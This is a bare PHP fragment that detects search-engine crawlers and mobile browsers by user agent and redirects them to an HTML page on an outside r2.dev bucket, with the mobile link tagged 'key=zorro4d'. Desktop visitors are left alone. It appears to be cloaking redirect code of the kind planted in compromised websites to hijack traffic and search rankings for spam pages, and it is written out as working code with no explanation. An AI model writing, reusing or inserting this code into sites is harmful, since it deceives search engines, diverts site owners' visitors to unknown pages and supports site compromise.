$userAgent = $_SERVER['HTTP_USER_AGENT'];
$userIP = $_SERVER['REMOTE_ADDR'];
$mobileAgents = array('iPhone', 'Android', 'webOS', 'BlackBerry', 'iPod', 'Opera Mini', 'IEMobile');
$crawlerAgents = array('Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot');
$isMobile = false;
$isBot = false;
foreach ($mobileAgents as $agent) {
if (strpos($userAgent, $agent) !== false) {
$isMobile = true;
break;
}
}
foreach ($crawlerAgents as $crawler) {
if (strpos($userAgent, $crawler) !== false) {
$isBot = true;
break;
}
}
if ($isBot) {
header('Location: https://pub-80347ed6f6414d3c90e45bdf5b60ef92.r2.dev/dp3ap2kbtabalongkab2.html');
exit();
}
if ($isMobile) {
header('Location: https://pub-80347ed6f6414d3c90e45bdf5b60ef92.r2.dev/dp3ap2kbtabalongkab2.html?key=zorro4d');
exit();
}